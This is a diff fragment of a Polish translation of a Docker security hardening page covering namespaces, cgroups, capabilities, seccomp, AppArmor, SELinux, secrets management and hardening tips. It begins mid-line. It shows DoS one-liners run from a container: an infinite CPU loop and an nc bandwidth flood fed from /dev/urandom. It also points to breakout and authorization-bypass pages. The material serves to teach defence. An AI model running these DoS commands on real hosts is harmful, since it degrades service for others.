+To są **pozostałe uprawnienia** po odrzuceniu pozostałych przez proces:
{% code overflow="wrap" %}
```
@@ -154,23 +157,23 @@ Jest domyślnie włączony w Dockerze. Pomaga **jeszcze bardziej ograniczyć sys
Docker ma szablon, który można aktywować: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
-To pozwoli na ograniczenie uprawnień, syscalle, dostępu do plików i folderów...
+To pozwoli na ograniczenie uprawnień, syscalle, dostęp do plików i folderów...
### Namespaces
-**Namespaces** to funkcja jądra Linuxa, która **dzieli zasoby jądra** tak, że jedna grupa **procesów widzi** jeden zestaw **zasobów**, podczas gdy **inna** grupa **procesów widzi** inny zestaw zasobów. Funkcja działa poprzez posiadanie tego samego przestrzeni nazw dla zestawu zasobów i procesów, ale te przestrzenie nazw odnoszą się do odrębnych zasobów. Zasoby mogą istnieć w wielu przestrzeniach.
+**Namespaces** to funkcja jądra Linuxa, która **dzieli zasoby jądra** tak, że jedna grupa **procesów widzi** jeden zestaw **zasobów**, podczas gdy **inna** grupa **procesów** widzi **inny** zestaw zasobów. Funkcja działa poprzez posiadanie tego samego przestrzeni nazw dla zestawu zasobów i procesów, ale te przestrzenie nazw odnoszą się do odrębnych zasobów. Zasoby mogą istnieć w wielu przestrzeniach.
-Docker korzysta z następujących przestrzeni nazw jądra Linuxa, aby osiągnąć izolację kontenerów:
+Docker wykorzystuje następujące przestrzenie nazw jądra Linuxa do osiągnięcia izolacji kontenerów:
* przestrzeń nazw pid
* przestrzeń nazw montowania
-* przestrzeń nazw sieciowych
+* przestrzeń nazw sieci
* przestrzeń nazw ipc
* przestrzeń nazw UTS
-Aby **uzyskać więcej informacji na temat przestrzeni nazw**, sprawdź następującą stronę:
+Dla **więcej informacji na temat przestrzeni nazw** sprawdź następującą stronę:
{% content-ref url="namespaces/" %}
[namespaces](namespaces/)
@@ -178,8 +181,8 @@ Aby **uzyskać więcej informacji na temat przestrzeni nazw**, sprawdź następu
### cgroups
-Funkcja jądra Linuxa **cgroups** umożliwia ograniczenie zasobów, takich jak cpu, pamięć, io, przepustowość sieciowa, dla zestawu procesów. Docker pozwala tworzyć kontenery przy użyciu funkcji cgroup, co umożliwia kontrolę zasobów dla konkretnego kontenera.\
-Poniżej przedstawiono przykład kontenera, w którym pamięć przestrzeni użytkownika jest ograniczona do 500 MB, pamięć jądra do 50 MB, udział w CPU do 512, a waga blkio do 400. Udział w CPU to współczynnik kontrolujący użycie CPU przez kontener. Ma domyślną wartość 1024 i mieści się w zakresie od 0 do 1024. Jeśli trzy kontenery mają ten sam udział w CPU wynoszący 1024, każdy kontener może używać maksymalnie 33% CPU w przypadku wystąpienia konfliktu zasobów CPU. Waga blkio to współczynnik kontrolujący operacje wejścia/wyjścia kontenera. Ma domyślną wartość 500 i mieści się w zakresie od 10 do 1000.
+Funkcja jądra Linuxa **cgroups** zapewnia możliwość **ograniczenia zasobów takich jak cpu, pamięć, io, przepustowość sieci** dla zestawu procesów. Docker pozwala tworzyć kontenery przy użyciu funkcji cgroup, co umożliwia kontrolę zasobów dla konkretnego kontenera.\
+Poniżej znajduje się kontener utworzony z ograniczeniem pamięci przestrzeni użytkownika do 500m, pamięci jądra do 50m, udziału cpu do 512, wagi blkioweight do 400. Udział CPU to współczynnik, który kontroluje użycie CPU kontenera. Ma domyślną wartość 1024 i zakres od 0 do 1024. Jeśli trzy kontenery mają ten sam udział CPU wynoszący 1024, każdy kontener może zużyć do 33% CPU w przypadku konfliktu zasobów CPU. blkio-weight to współczynnik, który kontroluje IO kontenera. Ma domyślną wartość 500 i zakres od 10 do 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@@ -189,7 +192,7 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
-Aby uzyskać więcej informacji, sprawdź:
+Dla dalszych informacji sprawdź:
{% content-ref url="cgroups.md" %}
[cgroups.md](cgroups.md)
@@ -197,9 +200,9 @@ Aby uzyskać więcej informacji, sprawdź:
### Uprawnienia
-Uprawnienia umożliwiają **dokładniejszą kontrolę nad uprawnieniami, które mogą być udzielone** użytkownikowi root. Docker korzysta z funkcji możliwości jądra Linuxa, aby **ograniczyć operacje, które można wykonać wewnątrz kontenera** niezależnie od rodzaju użytkownika.
+Uprawnienia pozwalają na **dokładniejszą kontrolę uprawnień, które mogą być udzielone** użytkownikowi root. Docker wykorzystuje funkcję możliwości jądra Linuxa do **ograniczenia operacji, które mogą być wykonywane wewnątrz kontenera** niezależnie od rodzaju użytkownika.
-Podczas uruchamiania kontenera Docker, **proces odrzuca wrażliwe uprawnienia, które proces mógłby wykorzystać do ucieczki z izolacji**. Ma to na celu zapewnienie, że proces nie będzie w stanie wykonywać wrażliwych działań i uciekać:
+Gdy uruchamiany jest kontener Docker, **proces odrzuca wrażliwe uprawnienia, które proces mógłby wykorzystać do ucieczki z izolacji**. Ma to zapewnić, że proces nie będzie w stanie wykonywać wrażliwych działań i uciec:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@@ -207,7 +210,7 @@ Podczas uruchamiania kontenera Docker, **proces odrzuca wrażliwe uprawnienia, k
### Seccomp w Dockerze
-Jest to funkcja zabezpieczeń, która umożliwia Dockerowi **ograniczenie syscalls**, które mogą być używane wewnątrz kontenera:
+Jest to funkcja zabezpieczeń, która pozwala Dockerowi **ograniczyć wywołania systemowe**, które mogą być używane wewnątrz kontenera:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
@@ -215,7 +218,7 @@ Jest to funkcja zabezpieczeń, która umożliwia Dockerowi **ograniczenie syscal
### AppArmor w Dockerze
-**AppArmor** to ulepszenie jądra, które ogranicza **kontenery** do **ograniczonego** zestawu **zasobów** z **profilami dla poszczególnych programów**:
+**AppArmor** to ulepszenie jądra do ograniczania **kontenerów** do **ograniczonego** zestawu **zasobów** z **profilami na poziomie programu**:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
@@ -223,13 +226,13 @@ Jest to funkcja zabezpieczeń, która umożliwia Dockerowi **ograniczenie syscal
### SELinux w Dockerze
-- **System etykietowania**: SELinux przypisuje unikalną etykietę każdemu procesowi i obiektowi systemu plików.
-- **Egzekwowanie zasad**: Egzekwuje zasady bezpieczeństwa, które określają, jakie działania etykieta procesu może wykonywać na innych etykietach w systemie.
-- **Etykiety procesów kontenera**: Gdy silniki kontenerów uruchamiają procesy kontenera, zwykle przypisywane jest im ograniczone oznaczenie SELinux, zwykle `container_t`.
-- **Etykietowanie plików wewnątrz kontenerów**: Pliki wewnątrz kontenera są zwykle oznaczane jako `container_file_t`.
-- **Zasady polityki**: Polityka SELinux przede wszystkim zapewnia, że procesy o etykiecie `container_t` mogą jedynie współdziałać (czytać, pisać, wykonywać) z plikami oznaczonymi jako `container_file_t`.
+* **System Etykietowania**: SELinux przypisuje unikalną etykietę do każdego procesu i obiektu systemu plików.
+* **Egzekwowanie Polityki**: Egzekwuje polityki bezpieczeństwa, które definiują, jakie działania etykieta procesu może wykonać na innych etykietach w systemie.
+* **Etykiety Procesów Kontenera**: Gdy silniki kontenerów inicjują procesy kontenera, zazwyczaj są one przypisywane do ograniczonej etykiety SELinux, zwykle `container_t`.
+* **Etykietowanie Plików w Kontenerach**: Pliki w kontenerze są zazwyczaj oznaczane jako `container_file_t`.
+* **Zasady Polityki**: Polityka SELinux głównie zapewnia, że procesy z etykietą `container_t` mogą tylko współdziałać (czytać, pisać, wykonywać) z plikami oznaczonymi jako `container_file_t`.
-Ten mechanizm zapewnia, że nawet jeśli proces wewnątrz kontenera zostanie skompromitowany, jest on ograniczony do interakcji tylko z obiektami posiadającymi odpowiednie etykiety, co znacznie ogranicza potencjalne szkody wynikające z takich kompromitacji.
+Ten mechanizm zapewnia, że nawet jeśli proces w kontenerze zostanie skompromitowany, jest on ograniczony do współdziałania tylko z obiektami posiadającymi odpowiadające etykiety, znacznie ograniczając potencjalne szkody wynikające z takich kompromitacji.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@@ -237,22 +240,22 @@ Ten mechanizm zapewnia, że nawet jeśli proces wewnątrz kontenera zostanie sko
### AuthZ & AuthN
-W Dockerze plugin autoryzacji odgrywa kluczową rolę w zabezpieczeniach, decydując, czy zezwolić czy zablokować żądania do demona Docker. Decyzja ta jest podejmowana na podstawie dwóch kluczowych kontekstów:
+W Dockerze wtyczka autoryzacyjna odgrywa kluczową rolę w zabezpieczeniach, decydując, czy zezwolić czy zablokować żądania do demona Dockera. Decyzja ta jest podejmowana poprzez analizę dwóch kluczowych kontekstów:
-- **Kontekst uwierzytelniania**: Obejmuje szczegółowe informacje o użytkowniku, takie jak kim są i jak się uwierzytelnili.
-- **Kontekst polecenia**: Obejmuje wszystkie istotne dane dotyczące wykonywanego żądania.
+* **Kontekst Autoryzacji**: Obejmuje kompleksowe informacje o użytkowniku, takie jak kim są i w jaki sposób się uwierzytelnili.
+* **Kontekst Komendy**: Obejmuje wszystkie istotne dane związane z żądaniem.
-Te konteksty pomagają zapewnić, że tylko legalne żądania od uwierzytelnionych użytkowników są przetwarzane, zwiększając tym samym bezpieczeństwo operacji w Dockerze.
+Te konteksty pomagają zapewnić, że tylko legalne żądania od uwierzytelnionych użytkowników są przetwarzane, zwiększając bezpieczeństwo operacji w Dockerze.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
-## DoS z kontenera
+## Atak typu DoS z kontenera
-Jeśli nie ograniczasz poprawnie zasobów, które kontener może wykorzystać, skompromitowany kontener może spowodować DoS hosta, na którym jest uruchomiony.
+Jeśli nie ograniczasz odpowiednio zasobów, jakie może wykorzystać kontener, skompromitowany kontener może przeprowadzić atak typu DoS na host, na którym działa.
-* CPU DoS
+* Atak DoS CPU
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@@ -260,15 +263,13 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
-* Atak DoS na pasmo
-
-Atak DoS na pasmo (Bandwidth DoS) polega na zalewaniu sieci dużej ilości danych w celu zablokowania lub znacznego spowolnienia działania systemu. Ten rodzaj ataku ma na celu wykorzystanie całkowitej przepustowości sieci, co prowadzi do niedostępności usług dla prawidłowych użytkowników. Aby przeprowadzić atak DoS na pasmo, atakujący może wykorzystać różne techniki, takie jak generowanie dużej ilości pakietów, wykorzystanie botnetów lub wykorzystanie zasobów chmury do generowania ruchu sieciowego. W rezultacie, system staje się niedostępny lub działa znacznie wolniej, co może prowadzić do poważnych konsekwencji dla organizacji lub użytkowników. Aby zabezpieczyć się przed atakami DoS na pasmo, ważne jest monitorowanie ruchu sieciowego, wdrażanie odpowiednich zabezpieczeń sieciowych i ograniczanie dostępu do zasobów sieciowych.
+* Atak DoS na przepustowość
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done
```
## Interesujące flagi Docker
-### Flaga --privileged
+### --flaga uprzywilejowana
Na następnej stronie możesz dowiedzieć się, **co oznacza flaga `--privileged`**:
@@ -280,45 +281,13 @@ Na następnej stronie możesz dowiedzieć się, **co oznacza flaga `--privileged
#### no-new-privileges
-Jeśli uruchamiasz kontener, w którym atakujący uzyskuje dostęp jako użytkownik o niskich uprawnieniach. Jeśli masz **źle skonfigurowany binarny suid**, atakujący może go wykorzystać i **zwiększyć uprawnienia wewnątrz** kontenera. Co może pozwolić mu na jego uniknięcie.
+Jeśli uruchamiasz kontener, w którym atakujący uzyskuje dostęp jako użytkownik o niskich uprawnieniach. Jeśli masz **źle skonfigurowany binarny suid**, atakujący może go wykorzystać i **eskalować uprawnienia wewnątrz** kontenera. Co może pozwolić mu na jego opuszczenie.
-Uruchomienie kontenera z włączoną opcją **`no-new-privileges`** **zapobiegnie tego rodzaju eskalacji uprawnień**.
+Uruchomienie kontenera z opcją **`no-new-privileges`** włączoną **zapobiegnie tego rodzaju eskalacji uprawnień**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Inne
-
-Inne potencjalne zagrożenia związane z bezpieczeństwem Dockera to:
-
-- **Nieaktualne obrazy**: Używanie nieaktualnych obrazów Dockera może prowadzić do wykorzystania znanych podatności. Ważne jest regularne aktualizowanie obrazów, aby uniknąć tych zagrożeń.
-
-- **Niebezpieczne ustawienia kontenera**: Niewłaściwe ustawienia kontenera mogą prowadzić do naruszenia bezpieczeństwa. Należy upewnić się, że kontenery są uruchamiane z minimalnymi uprawnieniami i odpowiednimi ograniczeniami zasobów.
-
-- **Niewłaściwe zarządzanie uprawnieniami**: Nieprawidłowe zarządzanie uprawnieniami może prowadzić do eskalacji uprawnień. Należy upewnić się, że tylko niezbędne uprawnienia są udzielane kontenerom.
-
-- **Niebezpieczne konfiguracje sieciowe**: Niewłaściwe konfiguracje sieciowe mogą prowadzić do nieautoryzowanego dostępu do kontenerów. Należy skonfigurować odpowiednie zabezpieczenia sieciowe, takie jak izolacja sieciowa i ograniczenia dostępu.
-
-- **Niebezpieczne montowanie woluminów**: Nieprawidłowe montowanie woluminów może prowadzić do nieautoryzowanego dostępu do danych. Należy upewnić się, że tylko niezbędne woluminy są montowane i że są odpowiednio zabezpieczone.
-
-- **Niebezpieczne zarządzanie hasłami**: Niewłaściwe zarządzanie hasłami może prowadzić do kompromitacji kontenerów. Należy stosować silne hasła i unikać przechowywania ich w plikach konfiguracyjnych.
-
-- **Niebezpieczne zarządzanie kluczami**: Niewłaściwe zarządzanie kluczami może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy odpowiednio zarządzać kluczami i unikać przechowywania ich w kontenerach.
-
-- **Niebezpieczne wykorzystanie funkcji Docker API**: Niewłaściwe wykorzystanie funkcji Docker API może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy ograniczyć dostęp do funkcji API i stosować autoryzację.
-
-- **Niebezpieczne wykorzystanie funkcji Docker Hub**: Niewłaściwe wykorzystanie funkcji Docker Hub może prowadzić do wykorzystania złośliwego oprogramowania. Należy unikać pobierania obrazów z niezaufanych źródeł.
-
-- **Niebezpieczne wykorzystanie funkcji Docker Compose**: Niewłaściwe wykorzystanie funkcji Docker Compose może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy ograniczyć dostęp do funkcji Compose i stosować autoryzację.
-
-- **Niebezpieczne wykorzystanie funkcji Docker Swarm**: Niewłaściwe wykorzystanie funkcji Docker Swarm może prowadzić do nieautoryzowanego dostępu do kontenerów. Należy ograniczyć dostęp do funkcji Swarm i stosować autoryzację.
-
-- **Niebezpieczne wykorzystanie funkcji Docker Registry**: Niewłaściwe wykorzystanie funkcji Docker Registry może prowadzić do nieautoryzowanego dostępu do obrazów. Należy ograniczyć dostęp do funkcji Registry i stosować autoryzację.
-
-- **Niebezpieczne wykorzystanie funkcji Docker Volume**: Niewłaściwe wykorzystanie funkcji Docker Volume może prowadzić do nieautoryzowanego dostępu do danych. Należy ograniczyć dostęp do funkcji Volume i stosować autoryzację.
-
-- **Niebezpieczne wykorzystanie funkcji Docker Network**: Niewłaściwe wykorzystanie funkcji Docker Network może prowadzić do nieautoryzowanego dostępu do sieci. Należy ograniczyć dostęp do funkcji Network i stosować autoryzację.
-
-- **Niebezpieczne wykorzystanie funkcji Docker Security**: Niewłaściwe wykorzystanie funkcji Docker Security może prowadzić do naruszenia bezpieczeństwa. Należy stosować odpowiednie zabezpieczenia, takie jak kontrola dostępu i monitorowanie.
```bash
#You can manually add/drop capabilities with
--cap-add
@@ -333,29 +302,29 @@ Inne potencjalne zagrożenia związane z bezpieczeństwem Dockera to:
# You can manually disable selinux in docker with
--security-opt label:disable
```
-Aby uzyskać więcej opcji **`--security-opt`**, sprawdź: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
+Dla więcej opcji **`--security-opt`** sprawdź: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
-## Inne kwestie dotyczące bezpieczeństwa
+## Inne Aspekty Bezpieczeństwa
-### Zarządzanie tajemnicami: najlepsze praktyki
+### Zarządzanie Sekretami: Najlepsze Praktyki
-Niezwykle ważne jest unikanie osadzania tajemnic bezpośrednio w obrazach Docker lub korzystanie z zmiennych środowiskowych, ponieważ te metody ujawniają wrażliwe informacje każdemu, kto ma dostęp do kontenera za pomocą poleceń takich jak `docker inspect` lub `exec`.
+Niezwykle istotne jest unikanie osadzania sekretów bezpośrednio w obrazach Docker lub korzystania z zmiennych środowiskowych, ponieważ te metody ujawniają Twoje wrażliwe informacje każdemu, kto ma dostęp do kontenera poprzez polecenia takie jak `docker inspect` lub `exec`.
-**Wolumeny Docker** są bezpieczniejszą alternatywą, zalecaną do dostępu do wrażliwych informacji. Mogą być wykorzystywane jako tymczasowy system plików w pamięci, zmniejszając ryzyko związane z `docker inspect` i logowaniem. Jednak użytkownicy root i ci, którzy mają dostęp do kontenera za pomocą `exec`, wciąż mogą uzyskać dostęp do tajemnic.
+**Woluminy Docker** są bezpieczniejszą alternatywą, zalecaną do dostępu do wrażliwych informacji. Mogą być wykorzystywane jako tymczasowy system plików w pamięci, zmniejszając ryzyko związane z `docker inspect` i logowaniem. Niemniej jednak, użytkownicy root oraz ci z dostępem `exec` do kontenera mogą wciąż uzyskać dostęp do sekretów.
-**Tajemnice Docker** oferują jeszcze bardziej bezpieczną metodę obsługi wrażliwych informacji. Dla przypadków wymagających tajemnic podczas fazy budowy obrazu, **BuildKit** prezentuje wydajne rozwiązanie z obsługą tajemnic czasu budowy, poprawiające szybkość budowy i zapewniające dodatkowe funkcje.
+**Sekrety Docker** oferują jeszcze bardziej bezpieczną metodę zarządzania wrażliwymi informacjami. Dla przypadków wymagających sekretów podczas fazy budowy obrazu, **BuildKit** prezentuje efektywne rozwiązanie z obsługą sekretów czasu budowy, zwiększając prędkość budowy i zapewniając dodatkowe funkcje.
Aby skorzystać z BuildKit, można go aktywować na trzy sposoby:
-1. Za pomocą zmiennej środowiskowej: `export DOCKER_BUILDKIT=1`
-2. Poprzez dodanie przedrostka do poleceń: `DOCKER_BUILDKIT=1 docker build .`
+1. Poprzez zmienną środowiskową: `export DOCKER_BUILDKIT=1`
+2. Poprzez prefiksowanie poleceń: `DOCKER_BUILDKIT=1 docker build .`
3. Poprzez włączenie go domyślnie w konfiguracji Dockera: `{ "features": { "buildkit": true } }`, a następnie restart Dockera.
-BuildKit umożliwia korzystanie z tajemnic czasu budowy za pomocą opcji `--secret`, zapewniając, że te tajemnice nie są uwzględniane w pamięci podręcznej budowy obrazu ani w końcowym obrazie, za pomocą polecenia:
+BuildKit pozwala na użycie sekretów czasu budowy za pomocą opcji `--secret`, zapewniając, że te sekrety nie są uwzględniane w pamięci podręcznej budowy obrazu ani w ostatecznym obrazie, korzystając z polecenia:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
-Dla tajemnic potrzebnych w uruchomionym kontenerze, **Docker Compose i Kubernetes** oferują solidne rozwiązania. Docker Compose wykorzystuje klucz `secrets` w definicji usługi do określania plików z tajemnicami, jak pokazano na przykładzie pliku `docker-compose.yml`:
+Dla tajemnic potrzebnych w uruchomionym kontenerze, **Docker Compose i Kubernetes** oferują solidne rozwiązania. Docker Compose wykorzystuje klucz `secrets` w definicji usługi do określenia plików z tajemnicami, jak pokazano w przykładowym pliku `docker-compose.yml`:
```yaml
version: "3.7"
services:
@@ -368,40 +337,40 @@ secrets:
my_secret:
file: ./my_secret_file.txt
```
-Ta konfiguracja umożliwia korzystanie z sekretów podczas uruchamiania usług za pomocą Docker Compose.
+Ta konfiguracja pozwala na korzystanie z tajemnic podczas uruchamiania usług za pomocą Docker Compose.
-W środowiskach Kubernetes, sekrety są obsługiwane natywnie i mogą być dalej zarządzane za pomocą narzędzi takich jak [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Role Based Access Controls (RBAC) w Kubernetes wzmacniają bezpieczeństwo zarządzania sekretami, podobnie jak w przypadku Docker Enterprise.
+W środowiskach Kubernetes, tajemnice są obsługiwane natywnie i mogą być dalsze zarządzane za pomocą narzędzi takich jak [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kontrole dostępu oparte na rolach (RBAC) Kubernetes wzmacniają bezpieczeństwo zarządzania tajemnicami, podobnie jak w Docker Enterprise.
### gVisor
-**gVisor** to jądro aplikacji napisane w języku Go, które implementuje znaczną część powierzchni systemu Linux. Zawiera środowisko wykonawcze [Open Container Initiative (OCI)](https://www.opencontainers.org) o nazwie `runsc`, które zapewnia **granice izolacji między aplikacją a jądrem hosta**. Środowisko wykonawcze `runsc` integruje się z Dockerem i Kubernetes, umożliwiając łatwe uruchamianie kontenerów w piaskownicy.
+**gVisor** to jądro aplikacji napisane w Go, które implementuje znaczną część powierzchni systemu Linux. Zawiera środowisko wykonawcze [Open Container Initiative (OCI)](https://www.opencontainers.org) o nazwie `runsc`, które zapewnia **granice izolacji między aplikacją a jądrem hosta**. Środowisko wykonawcze `runsc` integruje się z Dockerem i Kubernetes, ułatwiając uruchamianie kontenerów w piaskownicy.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
-**Kata Containers** to otwarta społeczność, która pracuje nad budową bezpiecznego środowiska wykonawczego dla kontenerów z wykorzystaniem lekkich maszyn wirtualnych, które działają i wydają się jak kontenery, ale zapewniają **silniejszą izolację obciążenia przy użyciu technologii wirtualizacji sprzętowej** jako drugiej warstwy obrony.
+**Kata Containers** to społeczność open source pracująca nad budową bezpiecznego środowiska wykonawczego kontenerów z lekkimi maszynami wirtualnymi, które działają i wydają się jak kontenery, ale zapewniają **silniejszą izolację obciążenia przy użyciu technologii wirtualizacji sprzętowej** jako drugiej warstwy obrony.
{% embed url="https://katacontainers.io/" %}
-### Podsumowanie wskazówek
+### Porady Podsumowujące
-* **Nie używaj flagi `--privileged` ani nie montuj** [**gniazda Dockera wewnątrz kontenera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Gniazdo Dockera umożliwia uruchamianie kontenerów, więc jest łatwym sposobem na pełną kontrolę nad hostem, na przykład poprzez uruchomienie innego kontenera z flagą `--privileged`.
-* **Nie uruchamiaj kontenera jako root. Użyj** [**innego użytkownika**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **i** [**przestrzeni nazw użytkownika**](https://docs.docker.com/engine/security/userns-remap/)**.** Root w kontenerze jest taki sam jak na hoście, chyba że jest przemapowany za pomocą przestrzeni nazw użytkownika. Jest tylko lekko ograniczony przez przede wszystkim przestrzenie nazw Linuxa, uprawnienia i grupy kontrolne.
-* [**Odrzuć wszystkie uprawnienia**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i włącz tylko te, które są wymagane** (`--cap-add=...`). Wiele obciążeń nie wymaga żadnych uprawnień, a dodawanie ich zwiększa zakres potencjalnego ataku.
-* [**Użyj opcji bezpieczeństwa "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **, aby zapobiec procesom zdobywaniu większych uprawnień, na przykład za pomocą binarnych plików suid.**
+* **Nie używaj flagi `--privileged` ani nie montuj** [**gniazda Dockera wewnątrz kontenera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Gniazdo Dockera pozwala na uruchamianie kontenerów, więc jest łatwym sposobem na przejęcie pełnej kontroli nad hostem, na przykład poprzez uruchomienie innego kontenera z flagą `--privileged`.
+* **Nie uruchamiaj jako root wewnątrz kontenera. Użyj** [**innego użytkownika**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **i** [**przestrzenie nazw użytkownika**](https://docs.docker.com/engine/security/userns-remap/)**.** Root w kontenerze jest taki sam jak na hoście, chyba że jest przemapowany za pomocą przestrzeni nazw użytkownika. Jest on tylko lekko ograniczony, głównie przez przestrzenie nazw Linuxa, zdolności i cgroups.
+* [**Odrzuć wszystkie zdolności**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i włącz tylko te, które są wymagane** (`--cap-add=...`). Wiele obciążeń nie potrzebuje żadnych zdolności, a dodanie ich zwiększa zakres potencjalnego ataku.
+* [**Użyj opcji bez nowych uprawnień bezpieczeństwa**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) aby zapobiec procesom zdobywaniu większych uprawnień, na przykład poprzez binarne suid.
* [**Ogranicz zasoby dostępne dla kontenera**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limity zasobów mogą chronić maszynę przed atakami typu odmowa usługi.
-* **Dostosuj profile** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(lub SELinux)**, aby ograniczyć dostępne działania i wywołania systemowe dla kontenera do minimum wymaganego.
-* **Używaj** [**oficjalnych obrazów Dockera**](https://docs.docker.com/docker-hub/official\_images/) **i wymagaj podpisów** lub buduj własne na ich podstawie. Nie dziedzicz lub nie używaj obrazów z [tylnymi drzwiami](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Przechowuj również klucze roota i hasło w bezpiecznym miejscu. Docker planuje zarządzać kluczami za pomocą UCP.
-* **Regularnie** **odbudowuj** swoje obrazy, aby **zastosować łatki zabezpieczeń na hoście i obrazach**.
-* Mądrze **zarządzaj swoimi sekretami**, aby utrudnić atakującemu dostęp do nich.
-* Jeśli **udsłaniasz demona Dockera, użyj protokołu HTTPS** z uwierzytelnianiem klienta i serwera.
-* W pliku Dockerfile **preferuj COPY zamiast ADD**. ADD automatycznie rozpakowuje pliki skompresowane i może kopiować pliki z adresów URL. COPY nie ma tych możliwości. W miarę możliwości unikaj używania ADD, aby nie być podatnym na ataki za pośrednictwem zdalnych adresów URL i plików ZIP.
-* Używaj **oddzielnych kontenerów dla każdej mikrousługi**.
-* **Nie umieszczaj ssh** wewnątrz kontenera, można użyć "docker exec" do połączenia SSH z kontenerem.
-* Używaj **mniejszych** obrazów kontenerowych.
+* **Dostosuj profile** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(lub SELinux)**, aby ograniczyć działania i wywołania systemowe dostępne dla kontenera do minimum wymaganego.
+* **Używaj** [**oficjalnych obrazów Dockera**](https://docs.docker.com/docker-hub/official\_images/) **i wymagaj podpisów** lub buduj swoje własne na ich podstawie. Nie dziedzicz obrazów z [tylnymi drzwiami](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Przechowuj również klucze root, hasło w bezpiecznym miejscu. Docker planuje zarządzać kluczami za pomocą UCP.
+* **Regularnie** **odbudowuj** swoje obrazy, aby **zastosować łatki bezpieczeństwa na hoście i obrazach.**
+* Mądrze **zarządzaj swoimi tajemnicami**, aby utrudnić atakującemu dostęp do nich.
+* Jeśli **udsłuchujesz demona Dockera, użyj protokołu HTTPS** z uwierzytelnianiem klienta i serwera.
+* W pliku Dockerfile, **preferuj COPY zamiast ADD**. ADD automatycznie wypakowuje skompresowane pliki i może kopiować pliki z adresów URL. COPY nie ma tych możliwości. Zaleca się unikanie użycia ADD, aby nie być podatnym na ataki poprzez zdalne adresy URL i pliki Zip.
+* Miej **oddzielne kontenery dla każdej mikro-usługi**
+* **Nie umieszczaj ssh** wewnątrz kontenera, polecenie "docker exec" może być użyte do połączenia SSH z kontenerem.
+* Używaj **mniejszych** obrazów **kontenerowych**
-## Ucieczka z Dockera / Eskalacja uprawnień
+## Ucieczka z Docker / Eskalacja uprawnień
Jeśli jesteś **wewnątrz kontenera Dockera** lub masz dostęp do użytkownika w **grupie docker**, możesz spróbować **uciec i eskalować uprawnienia**:
@@ -409,26 +378,50 @@ Jeśli jesteś **wewnątrz kontenera Dockera** lub masz dostęp do użytkownika
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
-## Ominięcie autoryzacji pluginu uwierzytelniania Dockera
+## Pomijanie Pluginu Autoryzacji Dockera
-Jeśli masz dostęp do gniazda Dockera lub masz dostęp do użytkownika w **grupie docker, ale twoje działania są ograniczone przez plugin uwierzytelniania Dockera**, sprawdź, czy możesz go **ominąć**:
+Jeśli masz dostęp do gniazda Dockera lub użytkownika w **grupie docker, ale twoje działania są ograniczone przez plugin autoryzacji Dockera**, sprawdź, czy możesz go **ominąć:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
-## Utrudnianie ataków na Docker
+## Utrwalanie Dockera
-* Narzędzie [**docker-bench-security**](https://github.com/docker/docker-bench-security) to skrypt, który sprawdza dziesiątki powszechnych najlepszych praktyk dotyczących wdrażania kontenerów Dockera w środowisku produkcyjnym. Testy są zautomatyzowane i oparte na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
-Narzędzie należy uruchomić na hoście z uruchomionym Dockerem lub w kontenerze z wystarczającymi uprawnieniami. Dowiedz się, **jak go uruchomić w pliku README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
